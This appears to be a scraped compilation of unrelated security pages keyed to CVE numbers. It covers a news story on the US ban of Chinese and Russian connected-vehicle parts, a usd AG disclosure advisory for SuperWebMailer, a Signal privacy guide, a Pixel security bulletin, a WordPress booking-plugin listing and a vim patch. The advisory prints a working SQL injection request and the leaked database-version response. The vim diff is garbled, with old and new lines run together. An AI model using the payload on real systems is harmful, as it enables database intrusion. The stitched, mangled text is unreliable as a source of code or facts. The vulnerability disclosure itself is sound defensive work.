The US Department of Commerce will prohibit the import of components for connected vehicles from China or Russia, as the US continues to ban technology it sees as potential national security threats.

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Smart-vehicle makers are facing supply chain disruption as the US Department of Commerce plans to enforce new regulations banning the import of connected-vehicle technology from China and Russia over cybersecurity fears.

The Commerce Department pursued new regulations after President Biden declared a national emergency over concerns that the United States had become overreliant on China for information and communications technology and services (ICTS). The rule mandates that companies and their suppliers eliminate hardware or software imported from China or Russia in their vehicle connectivity system (VCS) or in their automated driving system (ADS).

It aims to address two concerns: vulnerabilities that would allow a nation-state or criminal organization to implant a backdoor in automotive hardware or software; and the collection of data on US drivers through diagnostic features and other mechanisms, says Yoav Levy, CEO and co-founder of automotive cybersecurity provider Upstream.

"The threat is definitely real," he says. "There are many cases where cars could be hacked — including the safety elements within the cars — and there were many cases where data was stolen or leaked. ... But so far, we haven't seen something like that on a huge scale."

Related:Leveraging Behavioral Insights to Counter LLM-Enabled Hacking

The concerns come as software-defined vehicles (SDVs) shake up the automotive market, while also potentially increasing the cyberattack surface area of automobiles. In the past, vehicle makers created a variety of platforms for their different models, and the number of processors — known as electronic control units (ECUs) — quickly climbed. While the post-pandemic chip shortage slowed the shift to new platforms, manufacturers now aim to quickly reduce the number of ECUs and other hardware needed for the VCS and ADS systems. While current models, for example, can have as many as 130 ECUs, Rivian has already reduced the number of ECUs to seven in its second generation R1 vehicles.

**Wielding the Cyber-Ban Hammer**

Rivian aside, most automobiles have a wide variety of components sourced from China, raising concerns that the United States' reliance on the technologies could allow future compromises.

Banning technology from China and sanctioning Russia is nothing new, says Ivan Novikov, CEO at API security firm Wallarm. The US government has already raised cybersecurity concerns over telecommunications equipment from Huawei, Chinese-made cargo equipment at US seaports, home routers made by Chinese manufacturer TP-Link, and popular social media app TikTok.

Related:Strategic Approaches to Threat Detection, Investigation & Response

"This is kind of the next logical step," he says.

The new commerce regulations will prohibit any "transactions involving VCS hardware and covered software designed, developed, manufactured, or supplied" by people or organizations linked to China or Russia, according to a 213-page final rule, which will be put into effect after months of comments.

Yet, many implementation details remain unclear, Novikov says.

"The open question here is who will enforce the regulations, because the usual enforcement of security requirements and crash \[safety\] tests is under the Department of Transportation," he says. "It's unclear how these two agencies can work together, and how this final DoT requirements or restrictions or controls can work."

**Securing Supply Chains & the Economy?**

The impact on the supply chain will be significant, experts say. The first tier of OEMs — large US and international companies — are not the problem. Their products, however, often come from suppliers that source their own components from Chinese companies, says Alex Oyler, director for North America at industry consultancy SBD Automotive.

It's just one more way that the supply chain is currently undergoing changes, he says. Many carmakers are looking to rewrite their relationships with providers as they move to software-defined vehicles.

Related:Trusted Apps Sneak a Bug Into the UEFI Boot Process

"We're in a bit of a different phase of software-defined vehicle in the sense that OEMs are actually starting to become a lot more prescriptive in the specification of the components that they're sourcing," Oyler says. "It's more of what's called a build-to-print relationship, where they provide not the functional requirements, but requirements for the component architecture — we want this processor, we need this memory, we need this GPU."

The shift to other sources of supply will take years, with the Biden administration allowing carmakers a grace period to comply with the regulations: Software components can no longer be sourced from China and Russia starting with 2027 car models, while by 2030 car models must contain no hardware from prohibited sources.

Making such changes will not be easy, says Upstream's Levy.

"It's not that easy to replace a supplier," he says. "There are financial implications with the supply chain — maybe it's going to be more expensive, or there may be some changes to software that they would need to do for the for the new supplier — an adjustment to the architecture. ... It really depends on what they are actually going to replace."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

US Ban on Automotive Components Could Curb Supply Chain

An issue was discovered in SuperWebMailer 9.00.0.01710. It allows Export SQL Injection via the size parameter.

**usd-2023-0014 | SQL Injection in SuperWebMailer**

**Advisory ID**: usd-2023-0014 
**Product**: SuperWebMailer 
**Affected Version**: 9.00.0.01710 
**Vulnerability Type**: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') 
**Security Risk**: HIGH 
**Vendor URL**: https://www.superwebmailer.de 
**Vendor acknowledged vulnerability**: No 
**Vendor Status**: Not fixed 
**CVE number**: CVE-2023-38190 
**CVE Link**: Pending

**Desciption**

SuperWebMailer is an online application for managing e-mail newsletters. 
An authenticated SQL injection vulnerability was discovered during an engagement. 
In an SQL injection attack, a malicious input is used to alter the queries the application sends to an SQL server.

The application contains an export functionality that is vulnerable to an SQL injection attack. 
This functionality uses a **size** parameter provided by the user inside an SQL query without any encoding or filtering being applied. 
Consequently, an attacker may alter the SQL query in unintended ways.

**Proof of Concept**

The following request contains an SQL injection payload that displays the database version:

POST /exportrecipients.php HTTP/2Host: swm.example.comCookie: PHPSESSID=8ko13lk184llt0rqop2pikbf55; smlswmCsrfToken=20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiEUser-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 393smlswmCsrfToken\=20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiE&OneMailingListId\=1&MailingListName\=Test+Empf%C3%A4ngerliste&step\=4&Separator\=%2C&Header1Line\=1&AddQuotes\=1&ExportLines\=200&OnlyActiveRecipients\=&GroupsOption\=1&groups\=&fields%5Bu\_EMail%5D\=1&fields%5Bu\_FirstName%5D\=1&fields%5Bu\_LastName%5D\=1&start\=1,1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1)%3b%23&ExportRowCount\=5

The database version is printed in the response as part of an error message:

HTTP/2 200 OKServer: openrestyDate: Sun, 25 Sep 2022 16:48:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 16149Expires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0Last-Modified: Sun, 25 Sep 2022 16:48:39 GMTPragma: no-cacheX-Frame-Options: SAMEORIGINCache-Control: post-check=0, pre-check=0Vary: Accept-EncodingX-Served-By: swm.example.com\[...\] <td colspan\="2"\><b\>SQL-Fehler:</b\>&nbsp;XPATH syntax error: ':10.5.15-MariaDB-0+deb11u1' 1105 <b\>SQL-Anweisung:</b\>&nbsp;SELECT DISTINCT u\_EMail, u\_FirstName, u\_LastName, \*\*testempfngerliste\_members\*\*.\*\*id\*\* FROM \*\*testempfngerliste\_members\*\* ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);#, 200 </td\>\[...\]</body\></html\>

**Fix**

SQL injection vulnerabilities can be prevented by using prepared statements with parameterized queries. Additionally, all input to the application should be treated as potentially dangerous and consequently validated on the server-side.

**References**

https://cwe.mitre.org/data/definitions/89.html 
https://owasp.org/www-community/attacks/SQL\_Injection

**Timeline**

* **2022-09-26**: This vulnerability was discovered by Florian Dewald and Gerbert Roitburd of usd AG.
* **2023-04-20**: First contact request via info@superwebmailer.de.
* **2023-05-08**: Reminder sent via info@superwebmailer.de and contact form.
* **2023-05-15**: Second reminder to webmaster@wt-rate.com and info@superwebmailer.de.
* **2023-05-25**: Another reminder sent to info@superwebmailer.de, webmaster@wt-rate.com and info@wt-rate.com
* **2023-06-05**: Once more tried to inform the company of the vulnerabilities via the feedback form (info@superwebmailer.de).
* **2023-07-17**: Sent another email to info@supermailer.de, webmaster@wt-rate.com, info@wt-rate.com and info@superwebmailer.de, stressing that CVEs are assigned to the vulnerabilities and disclosure may happen in case we do not receive an answer soon.
* **2023-08-17**: As the vulnerabilities were found during a pentest, the customer was asked whether or not the Responsible Disclosure Team should move forward without the software vendor's cooperation.
* **2023-10-02**: Final notice given to info@superwebmailer, warning of immenent disclosure should there be no response within a week.
* **2023-10-20**: Vulnerabilities disclosed by usd AG.

**Credits**

This security vulnerability was identified by Florian Dewald and Gerbert Roitburd of usd AG.

CVE-2023-38190: usd-2023-0014 - usd HeroLab

Is moving from WhatApp to Signal a good idea? We look at the pros and cons, and which settings can make Signal even more private.

This week we learned that the US Government uses Signal for communication, after a journalist was accidentally added to a Signal chat.

Accidental additions of people aside, the news has got regular folks asking if they should, too, be using Signal for private communications.

Probably the largest alternative to Signal, WhatsApp is owned by Meta, and has faced criticism for its data-sharing practices. But is switching to Signal truly an improvement? Let’s explore the differences between these apps and whether the move would be justified.

Both WhatsApp and Signal offer end-to-end encryption, ensuring that only the sender and recipient can read messages. But the difference is that Signal employs “Sealed Sender,” a feature that hides metadata even from itself, whereas WhatsApp collects metadata such as phone numbers, IP addresses, and device information, which it shares with Meta and third parties.

As president of Signal Meredith Whittaker said in a statement to Dutch website Security.nl:

> “WhatsApp collects and shares, when required, large amounts of private information that is not encrypted, like your profile picture, your location, your contacts, when you send a message, when you stop, who’s in your group chats, and so on.”

Signal collects minimal data, but it’s run by the non-profit Signal Foundation, which operates free from commercial interests. Signal’s open-source code allows for public scrutiny of its security claims, which is a transparency WhatsApp lacks.

Where Signal adds privacy-focused features such as call relay (to hide IP addresses), self-destructing messages, and customizable notification settings, WhatsApp provides more social features like status updates.

Switching to Signal is justified if privacy is your top priority. Its minimal data collection, transparency, and advanced security features make it superior to WhatsApp in protecting user information. However, for those who rely on WhatsApp’s massive user base or social features, the transition might be less convenient.

There is no inter-compatibility, so all participants in a conversation need to use the same app. Meaning that one of the few things holding many users back from switching from WhatsApp to Signal is leaving contacts behind that are not willing to move over.

Obviously, the decision is yours and depends on your personal priorities: privacy versus convenience.

To fully benefit from Signal’s privacy capabilities, users should enable the following features:

*   **Disappearing messages**:
    *   Open a chat in Signal.
    *   Tap the three dots or profile icon to enter chat settings.
    *   Select “Disappearing Messages” and set a timer (e.g., five minutes or one week). This ensures messages are automatically deleted after the specified time.
*   **Screen lock**:
    *   Go to Signal settings by tapping your profile avatar.
    *   Navigate to “Privacy.”
    *   Enable “Screen Lock” to require biometric authentication or a PIN to access the app.
*   **Relay calls**:
    *   Under “Privacy” settings, activate “Always Relay Calls.” This routes calls through Signal servers to hide your IP address from contacts.
*   **Incognito keyboard** (Android only):
    *   In “Privacy” settings, enable “Incognito Keyboard” to prevent your keyboard from sending typing data to third-party servers.
*   **Screen security**:
    *   For Android: Enable “Screen Security” to block screenshots within the app.
    *   For iPhone: Turn on “Enable Screen Security” to prevent app previews in multitasking mode.
*   **Registration lock**:
    *   Activate this feature in “Privacy” settings to require a PIN for re-registering your account on new devices.

By enabling these features, users can ensure their conversations remain private and secure.

Another important tip is to check **Group chat members**. Before you send messages to a group, check who can read them: Open your group chat and tap on the group name to view chat settings. Scroll to the Members list and tap “View all members” to see the full list of group members.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 Moving from WhatsApp to Signal: A good idea? 

In dhcp4_SetPDNAddress of dhcp4_Main.c, there is a possible out of bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.



_Published December 6, 2023_

The Pixel Update Bulletin contains details of security vulnerabilities and functional improvements affecting supported Pixel devices (Google devices). For Google devices, security patch levels of 2023-12-05 or later address all issues in this bulletin and all issues in the December 2023 Android Security Bulletin. To learn how to check a device's security patch level, see Check and update your Android version.

All supported Google devices will receive an update to the 2023-12-05 patch level. We encourage all customers to accept these updates to their devices.

**Announcements**

*   In addition to the security vulnerabilities described in the December 2023 Android Security Bulletin, Google devices also contain patches for the security vulnerabilities described below.

**Security patches**

Vulnerabilities are grouped under the component that they affect. There is a description of the issue and a table with the CVE, associated references, type of vulnerability, severity, and updated Android Open Source Project (AOSP) versions (where applicable). When available, we link the public change that addressed the issue to the bug ID, like the AOSP change list. When multiple changes relate to a single bug, additional references are linked to numbers following the bug ID.

**Kernel components**

    

CVE

References

Type

Severity

Subcomponent

CVE-2023-48421

A-300681900 \*

EoP

High

mali\_kbase

**Pixel**

    

CVE

References

Type

Severity

Subcomponent

CVE-2023-41111

A-292004859 \*

RCE

Critical

ShannonRcs

CVE-2023-48423

A-294560448 \*

RCE

Critical

Exynos

CVE-2023-48402

A-244398863 \*

EoP

Critical

LDFW

CVE-2023-48405

A-293298397 \*

EoP

High

LDFW

CVE-2023-48407

A-282081424 \*

EoP

High

bootloader

CVE-2023-48409

A-296984851 \*

EoP

High

Pixel GPU kernel module

CVE-2023-48410

A-299427380 \*

ID

High

Exynos

CVE-2023-37366

A-297030670 \*

DoS

High

Cellular Baseband

CVE-2023-48406

A-269274102 \*

EoP

Moderate

Modem OTP

CVE-2023-48414

A-288366554 \*

EoP

Moderate

Pixel Camera Driver

CVE-2023-48420

A-269968522 \*

EoP

Moderate

Camera

CVE-2023-48397

A-293719047 \*

ID

Moderate

exynos-ril

CVE-2023-48398

A-286055426 \*

ID

Moderate

Exynos RIL

CVE-2023-48399

A-300554928 \*

ID

Moderate

Exynos RIL

CVE-2023-48401

A-299025883 \*

ID

Moderate

Exynos RIL

CVE-2023-48403

A-285435372 \*

ID

Moderate

Modem

CVE-2023-48404

A-289563789 \*

ID

Moderate

exynos-ril

CVE-2023-48408

A-295653694 \*

ID

Moderate

Exynos RIL

CVE-2023-48411

A-296748229 \*

ID

Moderate

Exynos RIL

CVE-2023-48412

A-213170949 \*

ID

Moderate

gchips

CVE-2023-48413

A-286709510 \*

ID

Moderate

exynos-ril

CVE-2023-48415

A-291424409 \*

ID

Moderate

exynos-ril

CVE-2023-48422

A-300595972 \*

ID

Moderate

exynos-ril

CVE-2023-48416

A-244500020 \*

DoS

Moderate

Modem

**Qualcomm components**

    

CVE

References

Severity

Subcomponent

CVE-2023-22383  

A-258533280  
QC-CR#3341070 \*

Moderate

Camera

CVE-2023-22668  

A-276762552  
QC-CR#3347522 \*

Moderate

Audio

CVE-2023-28575  

A-283319108  
QC-CR#3496553 \*

Moderate

Camera

CVE-2023-28579  

A-285915779  
QC-CR#3283749 \*

Moderate

WLAN

CVE-2023-28580  

A-285915800  
QC-CR#3385426 \*

Moderate

WLAN

**Qualcomm closed-source components**

    

CVE

References

Severity

Subcomponent

CVE-2023-21634  

A-242061225 \*

Moderate

Closed-source component

CVE-2023-33024  

A-285915917 \*

Moderate

Closed-source component

CVE-2023-33041  

A-299130506 \*

Moderate

Closed-source component

**Functional patches**

For details on the new bug fixes and functional patches included in this release, refer to the Pixel Community forum.

**Common questions and answers**

This section answers common questions that may occur after reading this bulletin.

**1\. How do I determine if my device is updated to address these issues?**

Security patch levels of 2023-12-05 or later address all issues associated with the 2023-12-05 security patch level and all previous patch levels. To learn how to check a device's security patch level, read the instructions on the Google device update schedule.

**2\. What do the entries in the _Type_ column mean?**

Entries in the _Type_ column of the vulnerability details table reference the classification of the security vulnerability.

 

Abbreviation

Definition

RCE

Remote code execution

EoP

Elevation of privilege

ID

Information disclosure

DoS

Denial of service

N/A

Classification not available

**3\. What do the entries in the _References_ column mean?**

Entries under the _References_ column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.

 

Prefix

Reference

A-

Android bug ID

QC-

Qualcomm reference number

M-

MediaTek reference number

N-

NVIDIA reference number

B-

Broadcom reference number

U-

UNISOC reference number

**4\. What does an \* next to the Android bug ID in the _References_ column mean?**

Issues that are not publicly available have an \* next to the Android bug ID in the _References_ column. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

**5\. Why are security vulnerabilities split between this bulletin and the Android Security Bulletins?**

Security vulnerabilities that are documented in the Android Security Bulletins are required to declare the latest security patch level on Android devices. Additional security vulnerabilities, such as those documented in this bulletin are not required for declaring a security patch level.

**Versions**

  

Version

Date

Notes

1.0

December 6, 2023

CVE-2023-48423: Pixel Update Bulletin—December 2023

The <a href="https://github.com/confidential-containers">Confidential Containers</a> (CoCo) project aims to implement a cloud-native solution for confidential computing using the most advanced <a href="https://en.wikipedia.org/wiki/Trusted_execution_environment">trusted execution environments</a> (TEE) technologies available from hardware vendors like AMD, IBM and Intel. Recently, the first release of the project (<a href="https://github.com/confidential-containers/docum

How to use Confidential Containers without confidential hardware

Cross-Site Scripting (XSS) via Cross-Site Request Forgery (CSRF) vulnerability in Booking Ultra Pro plugin <= 1.1.4 at WordPress.

*   Details
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Booking Ultra Pro offers a great suite of features that will help you manage your online appointments 24/7 whether you are a large educational institution scheduling thousands of students or a massage therapists with a part-time practice.

Booking Ultra Pro is a WordPress appointment scheduling plugin that allows your customers to book appointments for your services directly from your website giving your customers a seamless booking experience. The unique 4 steps booking process will help you to attract new customers and generate repeat business from existing ones. All customer details are stored so you can run promotions and market directly to them.

Check out the Standard Appointments Form for more information!

Check out the Staff List Page.  
Check out the Minimal Booking Form Layout.  
Check out the Shopping Cart.

This Appointments Plugin for WordPress is an inspired scheduling plugin that puts the power of booking into your clients’ hands while giving yourself and your team individual accounts to manage your own services, calendars, rates, and much more. Whether your business is already booming or you’re trying to grow, this WordPress plugin can help you. With a variety of packages offered to fit your business’s needs, Booking Ultra Pro eliminates the hassle of personally scheduling clients and increases customer satisfaction by offering 24/7 online appointment booking right at their fingertips.

This plugin helps you to manage appointments by giving your staff members their own profile and access without giving them access to your WordPress Dashboard. This simplifies the appointment process and presents a good first impression to your clients. From the Staff Backend and Profile feature, your staff is able to manage breaks, holidays, schedules, their services, appointments, rates, public profile, and even the ability to connect to Google calendar. The best part? Booking Ultra Pro is easy to use and CUSTOMIZABLE, giving your employees supervised freedom. Customize your text and color, booking form layouts, hide or add staff, manage multiple locations, and your shopping cart!

In addition to the Staffing Backend and Profile, a variety of add-ons such as group booking functions, mobile payment options for clients, appointment notes, and much more are available to fit your needs. Plus, a clean, minimal theme will greet your customer’s and provide them with a functional, maintained environment to complete their bookings. They will also have the ability to use the shopping cart feature to purchase multiple services at once, making it just that much easier to increase business.

**So, what makes Booking Ultra Pro the superior WordPress plugin?**

Aside from a time and money saving service, Booking Ultra Pro offers you full support for any of your technical inquiries via our email service. This makes it easy for you to contact our team at any time. Plus, regular updates are offered. With customizable features and colors that are adaptable to any WordPress theme and optional add-ons for all your needs, we offer a product that can’t be beat. We strive to maintain a high level of customer satisfaction.

Plus, the Booking Ultra Pro plugin can be used for any and every type of services. Are you in big business? Maybe a lawyer or stock broker, Booking Ultra Pro is for you! Oh, you’re a doctor? That’s wonderful, and Booking Ultra Pro is for you! You own a Beauty Salon and want to make booking easier for your clients? BOOKING ULTRA PRO IS FOR YOU! Our packages give everyone just what they need.

Check out the demo site for more information!

**Documentation**

Read the getting started documentation after you install the plugin to get started.

**Self Service Bookings**

Allow customers to view availability and book directly from your own website.

**Instant Payment Processing**

Easily accept online bookings and credit card payments for your bookings. You can use either PayPal or Stripe to process your payments.

**Automate Billing & Invoices**

Instantly send customers customizable receipts and booking invoices.

**Key Features**

*   PayPal Integration
*   Client Online Appointment
*   Admin Online Appointment
*   Appointment Payments
*   Reschedule Appointments
*   Custom Fields
*   **Customizable Emails**
*   Company Working Hours & Days
*   Staff Working Hours & Days
*   Time Slots
*   Padding Time (after and/or before)
*   Unlimited Services
*   Admin Calendar
*   You may also check and compare all the features

**Reasons to upgrade?**

*   Staff & Client Account With Front-End Profile
*   **Google Calendar** Integration
*   **Powerful** Booking Form Customizer
*   Shopping Cart
*   **Stripe** Integration
*   Advanced Admin Booking Panel
*   **Unlimited** Providers / Staff Members
*   Appointment Notes
*   **Flexible Pricing** – Example: First person $100, second person $85, third person $60
*   Appointment Payments
*   Multiple Appointment Forms
*   Terms & Conditions
*   MailChimp
*   **AWeber**
*   SMTP Email Sending
*   Mandrill Email
*   **Multiple Locations**. Yes, you can manage appointments for example from Salon 1, Salon 2 etc etc.
*   **Group Bookings**. Allow clients to book services for several persons at once.

**Languages**

*   Italian
*   German. Thanks to Michael Stark
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Ownership of this plugin has changed from UsersUltra to ExpressTech on 15th Nov 2021

1.  Upload booking-ultra-pro to the /wp-content/plugins/ directory
2.  Activate the plugin through the ‘Plugins’ menu in WordPress

**Is there an online documentation?**

Yes, http://doc.bookingultrapro.com/

**Is the Staff Member allowed to manage their own appointments?**

Yes, check this link Staff & Client Account with Front-End Profile

**Do you offer free support?**

Yes, https://bookingultrapro.com/contact.php

**Why I’m not Getting Emails from Your WordPress Site?**

Please check this link http://doc.bookingultrapro.com/wordpress-is-not-sending-emails-issue/

**How To Allow Clients to Purchase Multiple Services on the Same Session?**

This feature is available only on premium versions. It allows your clients to purchase multiple services from either the same or different providers on one session. They can pay for all the services in bulk. The Booking Ultra Pro Shopping Cart is great for gyms and spa, for example the client can purchase a yoga session for the next four weeks in different time and different providers.

Please check this link http://doc.bookingultrapro.com/how-to-activate-the-shopping-cart-feature/

**Do you offer a PRO version?**

Yes, https://bookingultrapro.com/compare-packages.html

Once configured, it works pretty slick! We bought it but also got a refund after the register codes didn't take and had to track down the owners to get money back. This really could have been a great plugin. we are still using it, but manually copy and pasting to google calendar.. until we find something as easy to use and has all the options.

From their email to us: Note: In the new management, Ultimate license is valid for 1 year (before it was life time). This is done to make sure the business continue to exist and we provide continous improvements. With that kind of support, how long do they really expect to exist?

I had a problem with the plugin and got direct support. It was solved in about 10 minutes. So the support is great.

As a free plug-in, this is great. As a paid plug-in, not sure. I decided that I wanted the advanced functionality and bought a lifetime license. Right off the bat, I had a question and submitted a support ticket. It has been two weeks and they have not even marked the ticket as read. I tried finding another way to contact the support person/team, but the only way is a ticket (and the ticket is not answered). As a free plug-in, this is fine, as a premium plug-in, just be sure you won't have any questions. I don't even see a way to refund this plug-in within the refundable window without being able to talk to someone. Perhaps my problem/question is really easy to answer, but I don't know because of no response. Pro tip to all, don't buy any plug-in without ample contact methods available. -- Update Jan 2022. So, I never got any response from my support questions 6 months into having paid for the plug-in, but I did get an email from support because they were changing things. Apparently, I bought a LIFETIME license and they will only honor the LIFETIME license for 1 year. I paid excess money for a LIFETIME license, yet I am only getting a year. It would have more financial sense to have me only pay the 1 year fee. They totally just pocketed the extra money. I do not trust these people; I do no recommend you do either. It is not a safe idea to build your appointment based website off of a company that will not stick to it's word.

I just purchased the unlimited license for this plugin to use on my clients' websites and I have found it to be a great plugin. When I've contacted support, I got a response right away even before purchasing. The documentation is thorough - I was experiencing a display issue, but I found the solution in their documentation and it was super easy to fix. The plugin has a lot of features, and it has a nice front-end appearance that makes it easy for people to book appointments. After looking at a lot of the other options for booking appointments, this I felt was the best value in terms of cost and features. I seriously don't get why it has so many bad reviews, it has worked fine in my initial tests with the free version, and the paid version I've found to be working so far without any issues.

As many people have stated before, there is no support whatsoever for this plugin. It has a few bugs. There is no way to solve them without the support. I am sorry I have to give a 1 star but honestly it's been more than 2 months since my tickets have been submitted but still no answers. It's money poorly spent.

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“Booking Ultra Pro Appointments Booking Calendar Plugin” is open source software. The following people have contributed to this plugin.

Contributors

*    ExpressTech Systems

**1.1.4 (08-09-2022)**

*   Improvement – Sendinblue Integration
*   Improvement – Improve Documentation
*   Fix – Resove Error \[bup\_staff\_list\]

**1.0.93 (09-20-2021)**

*   Improvement – We have implemented some tweaks on teh coding.
*   Fix – Compatibility issues with thirparty themes.

**1.0.92 (08-09-2021)**

*   Improvement – Updates for WP 5.8

**1.0.91 (06-22-2021)**

*   Fix – Google Calendar Update.
*   Improvement – Licencing Issue.

**1.0.90 (04-22-2021)**

*   Fix – Deleting Staff Members Issue.

**1.0.89 (04-20-2021)**

*   Fix – Deleting Category Issue.
*   Fix – Deleting Subcategory.
*   Fix – Editing User.
*   Fix – Deleting User.
*   Improvement – Improvements for WP Version 5.7.

**1.0.88 (02-07-2021)**

*   Improvement – Month View Improvement.
*   Improvement – Filter by Location.
*   Improvement – Coding Improvement.

**1.0.87 (01-29-2021)**

*   Improvement – Main Calendar on Admin Improved. Month View Issue.
*   Improvement – Filters issue.

**1.0.86 (01-08-2021)**

*   Improvement – Improvement on coding.
*   Improvement – Implement of new Calendar on Main Page at Admin Dashboard
*   Improvement – New Filters on Admin Dashboard

**1.0.85 (12-11-2020)**

*   Improvement – Localization, the plugin was not prepared for localization. Now, with the major update you will be able to translate the plugin online, right here https://translate.wordpress.org/projects/wp-plugins/booking-ultra-pro/. We had to change the textdomain, now it’s booking-ultra-pro. The translation files are in the languages folder, the prefix of the files MO and PO had changed to “booking-ultra-pro-“. This is a major change that might cause some issues with your current translations, however.. this can be resolved quikcly. Just make sure that your translation file has the mentioned prefix.
*   Improvement – class-phpmailer.php is deprecated since version 5.5.0! We have updated the coding.

**1.0.84 (10-07-2020)**

*   Improvement – PayPal IPN Update, please update ASAP

**1.0.83 (09-29-2020)**

*   Improvement – Important Updates PayPal payments issue. Update ASAP

**1.0.82 (09-28-2020)**

*   Improvement – Important Updates for new Version 5.5. Update ASAP
*   Improvement – Tweak on Staff Settings on the Admin section.

**1.0.81 (09-24-2020)**

*   Improvement – Important Updates for new Version 5.0. Update ASAP

**1.0.80 (06-24-2020)**

*   Improvement – Compatibily issues with new version of WP
*   Improvement – Code Improvement
*   Improvement – Improvement with new WP Editor

**1.0.79 (11-10-2019)**

*   Improvement – Compatibily issues with WP 5.3

**1.0.78 (04-23-2019)**

*   Improvement – Issue with Start time dropbox fixed.
*   New Feature – Private Services available only for admin.

**1.0.77 (01-19-2019)**

*   Improvement – WordPress 5.0 tweaks.

**1.0.76 (11-20-2018)**

*   Improvement – Important update on Google Calendar Feature. Full phone number with country prefix is displayed now.

**1.0.75 (11-06-2018)**

*   Improvement – New Module to clean up the database with inconsistent appointment details has been implemented.
*   Improvement – AWeber API integration update. Now. APP ID is not required anymore.
*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change the background color of the user’s profile has been implemented on the staff tab.

**1.0.74 (09-22-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.73 (09-14-2018)**

*   Improvement – CSS improvements.
*   Improvement – Issue with pending orders.

**1.0.72 (09-09-2018)**

*   Improvement – SMS Feature improved. Now, the option to auto-detect the visitor’s location is optional. You can activate or deactivate the phone number prefix feature on BUP Settings.
*   Improvement – CSS styles improvement.
*   Improvement – Minor fixes issue.
*   Improvement – Authorize API update.

**1.0.71 (06-26-2018)**

*   Improvement – CSS styles conflict with third-party plugins. We’ve improved the checkout process.
*   Improvement – International cel number issue. Now, it’s displayed in the Google Calendar.

**1.0.70 (04-10-2018)**

*   New Feature – **Personal, Professional & Ultimate versions only**. Option to change more labels on the customizer.
*   New Feature – **Personal, Professional & Ultimate versions only**. SMS Reminders.
*   New Feature – **Personal, Professional & Ultimate versions only**. Change the Background color of the staff list. Check the tutorial http://doc.bookingultrapro.com/how-to-change-the-default-background-color-of-the-staff-list/
*   Improvement – CSS styles
*   Improvement – Date Picker JS conflict on custom fields
*   Improvement – Setting to remove the “Last name” from the booking form at the step 3.
*   Bug Fix – Issue with “1 time slot” translation.

**1.0.69 (10-24-2017)**

*   Improvement – IMPORTANT. Update the pluign ASAP, there was an issue with the cancellation link sending many emails. You have to update the plugin ASAP. We’re sorry about the two consecutive versions, we just try to offer a fast service when an issue is confirmed. Thank you for your understanding.

CVE-2021-36855: Booking Ultra Pro Appointments Booking Calendar Plugin

NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0258.

@@ -471,74 +471,77 @@ do\_mouse( 
start\_visual.lnum = 0; 
// Check for clicking in the tab page line. if (mouse\_row == 0 && firstwin->w\_winrow > 0) if (TabPageIdxs != NULL) // only when initialized { if (is\_drag) // Check for clicking in the tab page line. if (mouse\_row == 0 && firstwin->w\_winrow > 0) { if (in\_tab\_line) if (is\_drag) { c1 = TabPageIdxs\[mouse\_col\]; tabpage\_move(c1 <= 0 ? 9999 : c1 < tabpage\_index(curtab) ? c1 - 1 : c1); if (in\_tab\_line) { c1 = TabPageIdxs\[mouse\_col\]; tabpage\_move(c1 <= 0 ? 9999 : c1 < tabpage\_index(curtab) ? c1 - 1 : c1); } return FALSE; } return FALSE; } 
// click in a tab selects that tab page if (is\_click // click in a tab selects that tab page if (is\_click \# ifdef FEAT\_CMDWIN && cmdwin\_type == 0 && cmdwin\_type == 0 \# endif && mouse\_col < Columns) { in\_tab\_line = TRUE; c1 = TabPageIdxs\[mouse\_col\]; if (c1 >= 0) && mouse\_col < Columns) { if ((mod\_mask & MOD\_MASK\_MULTI\_CLICK) == MOD\_MASK\_2CLICK) { // double click opens new page end\_visual\_mode\_keep\_button(); tabpage\_new(); tabpage\_move(c1 == 0 ? 9999 : c1 - 1); } else in\_tab\_line = TRUE; c1 = TabPageIdxs\[mouse\_col\]; if (c1 >= 0) { // Go to specified tab page, or next one if not clicking // on a label. goto\_tabpage(c1); 
// It's like clicking on the status line of a window. if (curwin != old\_curwin) if ((mod\_mask & MOD\_MASK\_MULTI\_CLICK) == MOD\_MASK\_2CLICK) { // double click opens new page end\_visual\_mode\_keep\_button(); } } else { tabpage\_T \*tp; tabpage\_new(); tabpage\_move(c1 == 0 ? 9999 : c1 - 1); } else { // Go to specified tab page, or next one if not clicking // on a label. goto\_tabpage(c1); 
// Close the current or specified tab page. if (c1 == -999) tp = curtab; // It's like clicking on the status line of a window. if (curwin != old\_curwin) end\_visual\_mode\_keep\_button(); } } else tp = find\_tabpage(-c1); if (tp == curtab) { if (first\_tabpage->tp\_next != NULL) tabpage\_close(FALSE); tabpage\_T \*tp; 
